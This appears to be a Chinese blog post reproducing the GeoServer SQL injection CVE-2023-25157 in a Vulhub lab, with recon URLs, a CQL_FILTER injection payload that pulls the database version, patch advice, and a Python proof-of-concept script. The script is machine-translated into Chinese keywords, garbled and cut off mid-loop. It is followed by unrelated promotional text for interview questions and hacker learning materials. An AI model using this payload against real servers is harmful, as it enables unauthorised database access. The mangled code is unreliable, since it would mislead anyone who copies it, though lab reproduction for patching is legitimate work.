CD Valhub Master/
cd 地理服务器/
光盘CVE-2023-25157
docker-compose up -d
docker-compose ps
1.访问http://yourip:8080/geoserver进入首页
2.获取各个函数名称
注入之前,必须先获取地理图层列表信息。这是SQL 注入有效负载中的必需参数。
请访问以下网址获取。
http://192.168.43.161:8080/geoserver/ows?service=WFSversion=1.0.0request=GetCapability
名称标签中的信息是地理图层列表。这里选择vulhub:example作为地理图层列表信息。
3. 获取函数属性
将上一步获取到的typeName的name属性值合并到URL中,形成URL:
http://192.168.43.161:8080/geoserver/ows?service=wfsversion=1.0.0request=GetFeaturetypeName=vulhub:examplemax features=1outputFormat=json
4.构建SQL注入
函数类型(表)名称: vulhub: 示例
要素类型: 的名称属性之一
使用这些已知参数拼接到Payload: 中。
http://192.168.43.161:8080/geoserver/ows?service=wfsversion=1.0.0request=GetFeaturetypeName=vulhub:exampleCQL_FILTER=strStartsWith(名称,%27x%27%27)%20=%20true%20and%201=(SELECT%20C AST %2) 0 (( SELECT %20version())%20AS%20整数))%20%20%27)%20=%20true
成功检索数据库版本号
修复建议
将org.geoserver.community:gs-jdbcconfig 升级到2.21.4 或2.22.2 或更高版本。
禁用PostGIS Datastore编码功能或使用preparedStatements处理SQL语句。
poc
用法:Python CVE-2023-25157.py http://your-ip:8080/geoserver/ows
#!/usr/bin/env python3
# -\\*-coding: utf-8 -\\*-
导入请求
导入系统
将xml.etree.ElementTree 导入为ET
导入json
# 彩色输出代码
绿色=\’\\033[92m\’\”
黄色=\’\\033[93m\’\”
红色=\’\\033[91m\’\”
粗体=\’\\033[1m\’
ENDC=\’\\033[0m\’\”
# 检查脚本是否在不带参数的情况下运行
如果len(sys.argv)==1:
print(f\'{YELLOW}此脚本需要URL 参数。{ENDC}\’)
print(f\'{YELLOW}Usage: python3 {sys.argv[0]} URL{ENDC}\’)
系统退出(1)
# URL 和代理设置
URL=sys.argv[1]
PROXY_ENABLED=假
如果PROXY_ENABLED,则PROXY=\’http://127.0.0.1:8080/\’,否则无
响应=request.get(URL + \’/geoserver/ows?service=WFSversion=1.0.0request=GetCapability\’,
proxy={\’http\’: proxy},validation=False)
如果响应.状态代码==200:
# 解析XML响应,从每个FeatureType中提取名称并将它们保存在列表中
root=ET.fromstring(response.text)
feature_types=root.findall(\’.//{http://www.opengis.net/wfs}FeatureType\’)
名称=[feature_type.findtext(\'{http://www.opengis.net/wfs}名称\’) for feature_type in feature_types]
# 输出函数名
print(f\'{GREEN}可用函数名称:{ENDC}\’)
对于名称名称:
打印(f\’- {名称}\’)
# 发送每个功能名称和CQL\\_FILTER 类型的请求
cql_filters=[
\’strStartsWith\’] # 其他过滤器/函数也可用,例如\’PropertyIsLike\’、\’strEndsWith\’、\’strStartsWith\’、\’FeatureId\’、\’jsonArrayContains\’、\’DWithin\’。
对于名称名称:
对于cql_filters: 中的cql_filter
端点=f\’/geoserver/ows?service=wfsversion=1.0.0request=GetFeaturetypeName={name}maxFeature=1outputFormat=json\’
哪个兄弟不知道你可以提前回答网络安全面试问题?我们整理了160多道网络安全面试题(金9银10),帮助你在网络安全面试包中脱颖而出。一周去做这件事。
工程师王兰一面试题及答案目前只对我哥有用。如果你能正确回答70% 的问题,那么你找到一份稳定的工作就不会有太大困难。
对于工作经验1到3年后想换工作的朋友来说也是一个不错的考虑!
【如何获取完整版在文末! ]
***93 网络安全面试问题***
![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)
![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)
![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)
我就不一一截图了,因为内容太多了。
### 推荐的黑客学习资源
最后给大家分享一套完整的网络安全学习资料,对所有想学习网络安全的人都有用。
对于刚接触网络安全的学生,我们创建了详细的学习和成长路线图。这可以说是最科学、最系统的学习路线。每个人都可以遵循这个大方向。
#### 1从基础零开始
##### 学习路线
对于从未接触过网络安全的同学,我们准备了详细的**学习与成长路线图**。这可以说是最科学、最系统的学习路线。大家按照这个大方向走是没有问题的。
![图片](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
##### 路线兼容学习视频
同时,还根据成长路线提供了每个部分的支持视频。
![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)
#GeoServer SQL注入漏洞复现如上(CVE相关内容来源网络仅供参考,相关信息请以官方公告为准)
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92062.html